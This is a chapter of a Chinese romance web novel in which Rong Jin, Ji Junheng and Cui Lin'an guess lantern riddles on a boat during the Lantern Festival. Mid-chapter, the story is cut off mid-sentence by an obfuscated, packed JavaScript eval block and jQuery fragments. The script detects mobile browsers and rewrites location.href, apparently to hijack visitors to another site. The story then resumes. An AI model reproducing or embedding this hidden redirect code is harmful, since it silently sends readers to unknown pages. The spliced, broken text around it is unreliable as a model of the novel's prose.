70. 游船猜谜
作品:《借我入骨刀》 容锦再转过身。
桥心那人已摘下面具,月色清辉落在他清隽的脸上,正是崔临安。他望见容锦,远远地含笑颔首。
“七殿下。”
他的目光继而转向一旁的纪君衡,略一拱手,“纪世子。”
纪君衡颔首回礼。
“崔相怎么会在此处?”容锦敛了心神,开口问道。
崔临安:“上元佳节,自是出来赏灯。”
容锦站在两人中间,左侧是前来寻她的纪君衡,右侧是月下偶遇的崔临安。桥上的风吹过,三人衣袂翻飞。
方才那阵快要跳出胸口的心悸,此刻想来只觉荒唐。
什么三喜桥,什么第一眼的缘分,不过是民间百姓的杜撰,为这佳节添些谈资罢了。
她在胡思乱想什么呢。
容锦不再深想,视线越过纪君衡的肩头,在桥下的人群中搜寻:“他们人呢?”
“不必找了。”纪君衡抬手指了指河道中央灯火通明的画舫,“他们坐花船去了。”
容锦皱眉:“准弟扔下我走了?”
“五公主执意要登船赏灯。”纪君衡解释,“九殿下拗不过,被拉上去了。一个时辰后在望江楼会合即可。”
容锦听罢,抬眼看他:“世子怎么没去?”
纪君衡身形微顿。
方才人潮冲散队伍时,他根本没听清容芷在喊什么,拨开人群便逆着人流找了回来。一路寻到这三喜桥头,背上已渗出一层薄汗。
“船上人多。”他随口道,“我不喜那般喧闹。”
容锦忍不住轻笑一声。
又想尚公主,又嫌人家吵。
天底下哪有这般便宜的买卖。
两人一时无言。
“洛河上的花船,倒确是一景。”崔临安适时开口,“既还有一个时辰,不如你们也租艘小舟,河道四通八达,说不定还能在江上遇着他们。”
容锦闻言,眉心微蹙。
让她这就跟纪君衡两个人在花船里大眼瞪小眼坐上一个时辰,光是想想便觉得如坐针毡。
她转头看向崔临安:“崔相今日独自一人?”
崔临安点头。
“那正好。”容锦当即道,“相请不如偶遇,崔相若不嫌弃,便一道吧。”
渡口的乌篷船远不及画舫宽敞,胜在轻便。
崔临安唤来船家,付了银钱。船身狭窄,舱内仅设一方案几,几张软垫。
纪君衡率先弯腰入舱,在左侧落座,船体随之微微一沉。崔临安紧随其后,在右侧坐下。两人分据方几两侧,舱内瞬间显得逼仄起来。
容锦最后踏上船板。
她扶着舱门,视线在舱内转了一圈。
崔临安身侧的位置离纪君衡远些,她刚要迈步,却见纪君衡伸出手指,在身旁的软垫上叩了两下。
“坐这儿。”
容锦的动作停在原地。
这船再小,三人分坐三处也尽够了,何必挤在一处?
见她不动,纪君衡抬眼,下巴朝船尾点了点。
“艄公在船尾右侧撑杆。”他拎起桌上的粗瓷茶壶,给自己斟了杯茶,语气散漫,“你若再坐去右边,这船便要斜着走了。”
容锦望去,年迈的艄公正吃力地将竹篙压入水中,船身确实微微向□□。
理由冠冕堂皇,挑不出半点错处。
她矮身入内,在纪君衡身侧坐下。
刚一落座,属于他的气息便裹挟着清冽梅香,无声地将她笼住。两人的衣袖在狭窄的空间里挨在一处,无论她如何挪动,那片墨色的衣料始终贴着她的手肘。
江面风冷,舱内烹着热茶。
一艘挂满彩灯的小舟划了过来,船头老翁敲着梆子,吆喝声随水波荡进舱里。
“几位贵人,撞个彩头?猜灯谜,赢花灯,不灵不要钱!”
崔临安放下茶盏,推开半扇窗。
小舟上架着琳琅满目的花灯,兔子灯、走马灯、荷花灯,光影交错,倒映在江面上。
纪君衡靠在软垫上,眼皮都没抬一下。崔临安倒是探头瞧了两眼,也没急着叫停。
容锦的视线穿过窗口,落在一盏琉璃海棠灯上。
那灯做得极精巧,琉璃烧出的花瓣层层叠叠,烛火在里头一晃,流光溢彩,像是在暗夜里开出的一朵活花。
老翁眼尖,顺着容锦的目光一瞧,高声笑道:“这位公子好眼力!这盏琉璃海棠可是今晚的头彩。”
说着,他用长杆挑着那灯,送到窗边晃了晃,“只要猜中这签上的谜,灯便奉送。”
容锦还没开口,纪君衡不知何时抬了眼,目光在那灯上扫过,不咸不淡地评价:“花哨。”
容锦没理他,问老翁:“谜面是什么?”
老翁笑眯眯地翻过灯下的红签,念道:“谜面只七个字——满船清梦压星河。打一药名。”
满船清梦压星河。
这诗意境极美,可要扣住药名,却并不容易。容锦指尖在膝头轻点,脑中将熟知的药典过了一遍。沉香?远志?似乎都对不上。
“怎么,公子若是猜不出,不如看看别的?”老翁也不急,转头看向另外两位,“这两位爷,可有看中的?”
崔临安指了角落里一盏素净的竹节灯:“那个如何?”
“那个容易!”老翁翻签,“更有上一层楼。打一字。”
“且。”崔临安即刻答出。
“好嘞!”老翁手脚麻利地取下竹节灯,递进窗里,“公子拿好!”
崔临安接过灯,随手搁在案几上,转头看向纪君衡:“世子不猜?”
纪君衡本欲回绝,余光瞥见容锦仍蹙眉思索,便随手指了盏老虎灯:“这个。”
老翁高声念道:“雨霁天青,打一字。”
容锦的思绪也被引了过去,雨后初晴……还未想明白,便听身侧的人开口。
“一。”
字音刚落,老虎灯便被递了进来。
纪君衡单手接了,看也没看,随手往旁边一放。纸扎的老虎滚了两圈,恰好停在容锦脚边。
此时,容锦终于松开紧抿的唇,试探着问:“可是……苏木?”
老翁哎哟一声,摇了摇头:“公子,差得远喽。”
容锦心乱则迷,越想在二人面前争口气,思绪越是纷乱。</
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17073531|190368||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>
“罢了。”她收回视线,“不要也罢。”
猜灯谜她不拿手。
老翁正要收回长杆,一只手忽然伸出,按住了窗沿。
“慢着。”
老翁一愣:“这位爷?”
纪君衡捡起脚边的老虎灯,手腕一扬,将其抛回了小舟的空架子上。
“这个不要了。”他抬了抬下巴,点向那盏琉璃海棠灯,“换那个。”
老翁有些为难:“爷,这规矩是一灯一谜。那海棠灯的谜还没解呢,不能换……”
“这有何难?”
老翁一愣。
“满船清梦压星河。”纪君衡瞥了他一眼,“星河在天,清梦在人。夜半梦醒,天河入水。谜底,半夏。”
老翁一拍大腿:“公子神了!正是半夏!”他不敢怠慢,连忙将那盏琉璃海棠灯取下,恭敬地递进舱内。
容锦看着他,刚想说什么,就见他接过海棠灯,随手搁在她面前的案几上,淡淡道:“那老虎丑得碍眼,这个勉强能看。”
小舟穿过桥洞,入了河心最开阔处。
四周的船渐渐多了起来。左侧一艘轻舟上,粉裙少女红着脸,将一盏小巧的荷花灯塞进对面少年怀里,又慌忙转过身去理鬓边的碎发。右侧画舫上,也有书生模样的男子正捧着灯,对着心仪的姑娘低声诵诗。
江面上浮灯点点,连成一片光河。
撑船的艄公笑着搭话:“几位贵客有所不知,咱们这洛河有个传说。说是这江底住着位河神,专司人间别离。若有未了之缘,便将花灯投入江心,求河神再续前缘。若想求长长久久,便得互赠花灯,还得在灯里写上生辰八字,这样下辈子还能凭着灯找到对方。”
艄公摇着橹,嗓音在水面上拖得悠长:“前朝有位痴心女子,等了征夫三十年。每年上元都来这儿放一盏灯,直到死也没等到人回来。后来那灯竟逆流而上,飘到了边关那人的坟前。”
容锦垂眸,看着案上的海棠琉璃灯。
下辈子?
若是真有这般灵验,她这辈子遇到的人,可是前世曾在谁的灯里写过八字?
正出神间,身侧传来一阵轻微的水声。
崔临安不知何时已探出身去,将那盏刚得来的花灯放入江中。
容锦心中微动。
崔临安一向给人清雅淡泊之感,仿佛世间万事皆不萦于怀。原来他心中,也有一个求而不得,需要寄托于河神的“未了缘”么?
她看着他收回手,倚着窗边,目光追随那点微光混入万千浮灯,直至再难分辨。月色勾勒着他温和的侧脸,那双总是含笑的眼眸,此刻竟有了一丝她读不懂的哀思。
她不禁去想,是怎样的女子,才能让他为之挂怀,于这上元夜里,借一盏孤灯遥寄心愿?
“无稽之谈。”
一声冷嗤打破了静谧。
艄公的笑意僵在脸上。
纪君衡身子后仰,倚着舱壁,目光冷冷扫过江面上的万千流火:“情缘深浅,若靠一盏灯笼便能定下,这世间,还要三媒六聘,要此志不渝何用?”
艄公干笑了两声,不敢接话,只埋头更卖力地摇橹。

